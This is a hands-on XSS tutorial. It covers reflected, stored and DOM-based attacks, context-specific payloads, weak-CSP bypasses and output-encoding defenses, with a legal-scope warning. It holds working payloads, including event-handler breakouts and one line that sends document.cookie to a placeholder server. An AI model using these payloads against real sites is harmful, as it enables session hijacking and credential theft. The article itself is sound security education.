XSS (cross-site scripting) is a vulnerability that executes the attacker's JavaScript in the victim's browser. Session hijacking, credential theft, impersonated operations — as PortSwigger says, it can "compromise the entire interaction between users and the app." This article explains those attack techniques faithfully to the official source, at a hands-on granularity.
An absolute premise: all payloads only within a legal lab or an authorized scope. Even "just trying a little" on someone else's site can be illegal without authorization (→ the legal guide). For the map of attack classes, see the pillar.
1. The essence of XSS — ignoring the output context
XSS is often misunderstood as "an input problem," but precisely, it's an output problem. Even the same "><script> has different escaping requirements depending on where it's output.
<!-- ① HTML本文に出る → タグとして解釈される -->
<div>こんにちは、[ここに出力]さん</div>
<!-- ② 属性値に出る → 属性を閉じてイベントハンドラを足せる -->
<input value="[ここに出力]">
<!-- ③ <script>内に出る → JS文字列を閉じてコードを足せる -->
<script>var name = "[ここに出力]";</script>
The first step of detection is to insert a unique string like xss1234 and confirm where, and how escaped, it appears in the response. From there, you assemble a context-appropriate "breakout."
2. Reflected XSS
A case where input is immediately reflected into the response of that request. The attacker gets the victim to click a crafted URL.
# 検索パラメータがそのままHTML本文に反射される場合
https://lab.example/search?q=<script>alert(document.domain)</script>
In practice, demonstrate up to the impact rather than alert() (PoC). For example, sending the session cookie to the attacker's server — but this is only in your own lab / authorized scope.
<script>new Image().src='https://<自分の検証用>/c?'+document.cookie</script>
3. Stored XSS — the highest impact
It triggers when input is saved to the DB and later displayed to other users. Comment fields, profiles, and product reviews are the staple entry points.
# レビュー本文に保存される
コメント: 素晴らしい商品です<script>/* 閲覧した全員のブラウザで実行 */</script>
Reflected requires "getting them to click," but stored triggers on "everyone who views it." Saved into an admin screen, it can seize the admin's session. The impact is on another level, so always test all saved inputs (especially screens the admin views).
4. DOM-based XSS — from source to sink
It occurs when the client's JavaScript does something dangerous without going through the server. The iron rule is to trace by the data flow (source → sink).
// 脆弱な例:URLのフラグメント(source)を innerHTML(sink)へ直接渡す
const q = location.hash.slice(1); // source: 攻撃者が制御できる
document.getElementById("out").innerHTML = q; // sink: HTMLとして解釈される
# 攻撃URL(# 以降はサーバーに送られず、クライアントだけで処理される)
https://lab.example/#<img src=x onerror=alert(document.domain)>
| source (input source) | sink (dangerous output) |
|---|---|
location.hash / search / href | innerHTML / outerHTML |
document.referrer | document.write() |
postMessage data | eval() / Function() |
localStorage | jQuery $(...).html() |
Since DOM-based leaves no trace in the server's response, it's not found by Burp's response inspection alone. A mechanism like Burp's DOM Invader, which traces source→sink within the browser, is effective.
5. Crafting payloads per context
"The same payload works everywhere" is wrong. Design the breakout according to the context.
<!-- 属性値コンテキスト:属性を閉じてイベントを注入 -->
"><svg onload=alert(1)>
" autofocus onfocus=alert(1) x="
<!-- JS文字列コンテキスト:文字列とスクリプトを閉じる -->
</script><script>alert(1)</script>
'-alert(1)-'
<!-- HTMLタグが除去される環境:タグなしで発火 -->
<img src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
Even if <script> is filtered, you can trigger via event handlers like onerror/onload/ontoggle — so you see that a blacklist that "only removes <script>" is incomplete. PortSwigger's XSS cheat sheet is comprehensive.
6. CSP (Content Security Policy) — the last line of defense, and its bypass
CSP is defense-in-depth that declares to the browser "from where scripts may be loaded/executed." It can't fully prevent XSS, but it greatly mitigates the damage.
# 強いCSPの例:nonce + strict-dynamic(インラインも外部も原則禁止)
Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'
Conversely, a weak CSP is bypassed. Representative holes:
- Allowing
'unsafe-inline'→ inline scripts get through, rendering CSP nearly meaningless. - Lax host allowances (e.g. an entire CDN or a domain that returns JSONP) → script execution via there.
base-uriunset →<base>injection hijacks the load target of relative URLs.
A design lesson: build CSP with nonce-based + strict-dynamic and don't use
unsafe-inline. The Next.js implementation (issuing a nonce in middleware) is detailed in the security-headers/CSP implementation guide. CSP is not a substitute for input defense; it's insurance for when input defense breaks.
7. [Defender side] Root-cause defense — context-specific output encoding
The conclusions of PortSwigger and OWASP XSS Prevention agree. "The correct encoding for the context you output into" is the main line.
// ✅ React等のフレームワークは既定で文脈に応じてエスケープする
// → 自動エスケープを「外さない」のが最大の防御
function Comment({ text }: { text: string }) {
return <div>{text}</div>; // {} 補間は自動でHTMLエスケープされる(安全)
}
// ⚠️ dangerouslySetInnerHTML はエスケープを外す = XSSの主要因
// 使うなら必ずサニタイズ(DOMPurify等)を通し、監査対象にする
function RichText({ html }: { html: string }) {
const clean = DOMPurify.sanitize(html); // 許可タグだけ残す
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
Let's organize the design principles.
- HTML body → HTML-entity encode (
<→<). Leave it to the framework's automatic interpolation. - Attribute value → encoding for the attribute context + always wrap in quotes.
- JavaScript → don't write user input directly inside
<script>. Separate it into a data layer viaJSON.stringify. - DOM operations → avoid
innerHTMLand usetextContent. If you must use it, introduce Trusted Types. - URL → reject the
javascript:scheme, and useencodeURIComponent. - Defense in depth → nonce-based CSP,
HttpOnlycookies (so JS can't read the session).
The concrete detection and defense of DOM XSS and dangerouslySetInnerHTML in a Next.js × Supabase environment is summarized in the dedicated guide.
8. Summary
- The essence is the output context: even the same input has different escaping requirements in the HTML body/attribute/JS/URL.
- Three types: reflected (get them to click), stored (everyone who views, max impact), DOM (source→sink). Don't miss stored and DOM.
- Blacklists break: even if you remove
<script>, it triggers viaonerror, etc. - CSP is insurance: build with nonce + strict-dynamic.
unsafe-inlineis forbidden. - The root-cause defense is context-specific encoding: don't disable the framework's automatic escaping.
textContentoverinnerHTML.
Next, head to the complete conquest of SSRF attacks, which uses the server itself as a stepping stone.